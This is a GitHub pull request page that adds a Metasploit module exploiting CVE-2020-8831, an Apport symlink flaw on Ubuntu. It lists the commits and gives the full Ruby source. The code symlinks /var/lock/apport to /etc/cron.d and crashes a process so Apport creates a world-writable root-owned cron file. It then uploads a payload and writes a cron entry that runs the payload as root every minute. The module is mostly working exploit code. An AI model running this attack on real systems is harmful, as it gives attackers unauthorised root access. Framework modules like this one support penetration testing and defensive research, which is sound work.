Skip to content

Add Apport Symlink Hijacking: CVE-2020-8831 #20037

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Draft
wants to merge 21 commits into
base: master
Choose a base branch
from
Draft
Changes from all commits
Commits
Show all changes
21 commits
Select commit Hold shift + click to select a range
edc187a
Init
gardnerapp Dec 21, 2024
6854dc0
Correct CVE numbering
gardnerapp Dec 21, 2024
f8f0ac5
finish prototyping the check method
gardnerapp Dec 24, 2024
9ffec60
Begin exploit
gardnerapp Dec 24, 2024
6112b1e
Add targets and write exploit files
gardnerapp Dec 24, 2024
a1dfc8a
Add opts, update description, break up exploit method
gardnerapp Jan 20, 2025
4838131
Finish check method
gardnerapp Feb 12, 2025
417c1bb
Add statuses to hijack apport method
gardnerapp Feb 12, 2025
18a94bb
Add instance vars, cleanup file writes
gardnerapp Feb 22, 2025
8cef31f
Add Payload::EXE module, fix var names
gardnerapp Feb 28, 2025
68de77e
Add /etc/ to cron dir
gardnerapp Apr 13, 2025
689bfdb
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
6055625
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
68683c3
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
3868607
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
1bd3a4a
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
6d52e90
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
ec93425
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
2417f58
Add advanced options
gardnerapp Apr 20, 2025
631bdf6
Resolve conflicts
gardnerapp Apr 20, 2025
31bfb04
Check existence of /var/lock/apport
gardnerapp Apr 20, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
169 changes: 169 additions & 0 deletions modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,169 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE

def initialize(info = {})
# other places besides crontab
# /etc/init.d
# ~/.bashrc
super(
update_info(
info,
'Name' => 'Apport Symlink Hijacking Privilege Escalation ',
'Description' => %q{
On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable
to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock,
an attacker who can create a symlink to a privileged directory via /var/lock/apport will be
able to create files with global 0777 permissions. This module exploits this weakness by creating a
symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with
elevated permissions.
},
'License' => MSF_LICENSE,
'Author' => [
'Maximilien Bourgeteau', # Discovery
'gardnerapp' # Metasploit
],
'References' => [
[
['URL', 'https://nostarch.com/zero-day'], # pg. 59
['URL', 'https://ubuntu.com/security/CVE-2020-8831'],
['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'],
['CVE', '2020-8831'],
]
],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[
'Linux_Binary',
{
'Arch' => [ARCH_AARCH64, ARCH_X64]
}
],
[
'Linux_Command',
{
'Arch' => ARCH_CMD
}
]
],
'Privileged' => false,
'DisclosureDate' => '2 April 2020',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options [
OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]),
OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *'])
]
register_advanced_options [
OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/tmp'])
]
end

def check
# If you are testing the module apport needs to be reinstalled on boot every time with
# sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb
# sudo rm -rf /var/lock/apport/ /tmp/payload /etc/cron.d/lock && unlink /var/lock/apport -> must be run after each subsequent test!
return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux'

# Check apport version
if !command_exists?('apport-cli')
return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH')
end

apport = cmd_exec('apport-cli --version').to_s

return CheckCode::Detected('Unable to determine apport version') if apport.blank?

# todo determine if prior versions of apport are vulnerable
apport_version = Rex::Version.new(apport.split('-').first)

vulnerable_version = Rex::Version.new('2.20.11')

if apport_version == vulnerable_version
vprint_good("Apport appears to be vulnerable.")
return CheckCode::Appears
end

CheckCode::Safe
end

# Crash Apport and hijack a symlink
# this will creat a rwx /etc/cron.d/lock owned by root
def hijack_apport

print_status("Creating symlink...")

if exists? '/var/lock/apport'
fail_with(Failure::BadConfig, '/var/lock/apport already exists. Try removing this directory then running the module again. ')
end

link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport')
print_status(link)

# Create crash and trigger apport
print_status("Triggering crash...")
cmd_exec 'sleep 10s & kill -11 $!'

@cron = '/etc/cron.d/lock'

# Make sure it's writable and owned by root
unless exist?(@cron)
fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.')
else
print_good("Successfully created /etc/cron.d/lock")
end
end

def write_payload
print_status 'Uploading payload..'

payload_dir = datastore['WRITABLE_DIR']

payload_dir += '/' unless payload_dir.ends_with? '/'

payload_file = datastore['PAYLOAD_FILENAME']

@payload_dest = "#{payload_dir}#{payload_file}"

# create the payload
if target.arch.first == ARCH_CMD
upload_and_chmodx @payload_dest, payload.encoded
else
upload_and_chmodx @payload_dest, generate_payload_exe
end
end

def write_cron
cron_interval = datastore['CRON_INTERVAL']
data = "#{cron_interval} root #{@payload_dest}\n"
write_file(@cron, data)
# crontab won't execute as root if group/other is writable
print_good "Successfully wrote crontab!"
end

def exploit
fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR'])
hijack_apport

write_payload

write_cron
end
end
Loading